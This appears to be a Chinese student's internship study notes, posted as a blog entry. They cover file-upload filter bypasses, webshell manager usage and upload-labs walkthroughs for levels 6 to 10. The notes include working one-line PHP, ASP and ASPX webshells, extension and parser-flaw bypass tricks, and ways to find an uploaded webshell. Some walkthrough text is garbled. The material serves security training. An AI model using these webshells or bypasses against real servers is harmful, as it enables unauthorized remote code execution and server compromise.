重邮校内实习day7

1. 文件上传防御手段及绕过手段总结

1.前端JS检测


客户端前端在JavaScript代码中加入了对扩展名的黑白名单检查,但我们可以直接禁用JavaScript。

2.MIME检测


MIME是设定某种扩展名的文件用一种应用程序来打开的方式类型。服务端代码是通过Content-Type的值来判断文件的类型,这样我们可以直接对文件的Content-Type进行修改来绕过此防御方式。

3.白名单检测


要求只能是特定扩展名的文件才能上传。

%00截断
在url中%00表示ASCII码的0,表示字符串结束,因此当url中出现%00时就会认为读取已结束。

0x00截断
原理同%00截断,修改时需要使用Hex模块,添加00。

4.黑名单绕过


使用扩展名黑名单来限制上传文件类型。

文件拓展名绕过
PHP除了可以解析php后缀,还可以解析php2、php3、php4、phtml等。

.htaccess文件绕过
通过htaccess文件,可以实现改变文件扩展名等功能。

.user.ini.绕过
.user.ini文件里的意思是:所有的php文件都自动包含指定的文件,这个的绕过方式前提是上传目录下要有可执行的php文件。

apache解析漏洞
Apache按从右到左的顺序识别文件后缀,遇到不能识别的后缀名便跳过, shell.php.xxx将会被解析成php文件,可用来绕过黑名单过滤。

IIS解析漏洞
当文件名为*.asp;1.jpg时,IIS会以asp文件来解析。当文件名为*.asp;1.jpg时,IIS会以asp文件来解析,也就是说;起到了截断作用。

Nginx解析漏洞
在Nginx的服务器环境下,成功上传一张名为test.jpg的文件后,访问/test.jpg/test.php时服务器会直接将test.jpg作为php文件进行解析。

windows系统文件命名规则的特殊利用
通过特殊命名规则绕过文件类型限制。如:shell.php. ———-文件名后加点‘.’ ,shell.php ———-文件名后加括号空格,shell.php::$DATA ———-文件名后加::$DATA。


2. 文件上传常用一句话木马

php: <?php @eval($_POST['pass']);?>   <?php system($_GET['cmd']);?>

asp: <%eval request ("pass")%>

aspx: <%@ Page Language="Jscript"%>  <%eval(Request.Item["pass"],"unsafe");%> 


3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

Antsword

准备木马

上传到目标网站

使用蚁剑右键空白处添加

测试连接,连接成功

代理设置,配置代理服务,端口与burpsuite保持一致

抓包成功

Godzilla

打开哥斯拉,点击左上角的管理->生成,默认生成木马,将其放到目录下

与之前一样将木马上传到目标网站

回到哥斯拉,右键左上角的目标添加

点击测试连接,成功抓包

Behinder

打开冰蝎,生成服务端

将木马上传到目标网站

左上角代理添加,并启用

添加新shell

然后双击添加的网站,抓包成功


4. 文件上传无回显如何查找webshell地址

1. 目录遍历攻击:利用 `../` 技术尝试访问上传目录,构造请求查看是否能访问上传的文件。

2. 猜测文件名:根据已知的文件类型和命名规则,直接尝试访问可能的文件名。

3. 使用工具进行扫描:利用自动化工具,如DirBuster、Gobuster等进行目录和文件名的爆破,寻找潜在的WebShell文件。

4. 查看响应头:上传文件后,检查HTTP响应头,寻找可能的文件存储路径线索。

5. 分析请求和响应:使用抓包工具,如Burp Suite、Fiddler等分析上传请求和响应,寻找文件路径信息。

6. 检查常见上传目录:直接访问常见的上传目录,如 `/uploads/`、`/files/`、`/images/`。

7. 利用日志文件:查看HTTP请求日志,特别是在上传文件失败或成功的记录中,寻找可疑的URL或文件路径。

8. 异常检测:监控网站的服务器错误页面,寻找因WebShell运行时抛出的错误或异常报告。

9. 文件名检测:搜索服务器目录中是否存在使用特殊命名规则的文件名,这些文件名可能包含特定字符组合。

10. 网络扫描:利用安全审计工具在网络流量中查找未授权访问或命令执行的行为。
 

5. 文件上传表单的无参/有参情况下构造表单 

无参情况

1.使用<form>标签创建表单。

2.将<input type="file">标签添加到表单中,允许用户选择文件。

3.添加<input type="submit">按钮,提交表单。

有参情况

在无参的基础上添加表单参数。

1.创建一个或多个<input>标签,每个标签对应一个表单参数。

2.设置每个<input>的name属性,这个名称用于接收参数值。

3.保持<input type="file">和<input type="submit">标签不变。

6. upload-labs靶场通关第6-第10关

第六关

查看源码没有发现没有使用转变小写的函数,后缀改为.Php绕过

成功上传

第七关

查看源码没有使用trim()去除空格,可以添加空格绕过

成功上传

第八关

查看源码没有使用deldot()函数过滤文件末尾小数点,可以使用文件名后加.进行绕过,由于Windows无法在文件末加.小数点,会被自动删去,所以我们使用bs抓包进行修改

上传成功

第九关

此关源码没有对::D A T A 进 行 处 理 , 可 以 使 用 : : DATA进行处理,可以使用::DATA进行处理,可以使用::$DATA绕过黑名单,同样的抓包改后缀

上传成功

第十关

这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行
f i l e n a m e = d e l d o t ( file_name = deldot(file name=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单,使用文件最后加.空格.空格进行绕过,同样的抓包改后缀

上传成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值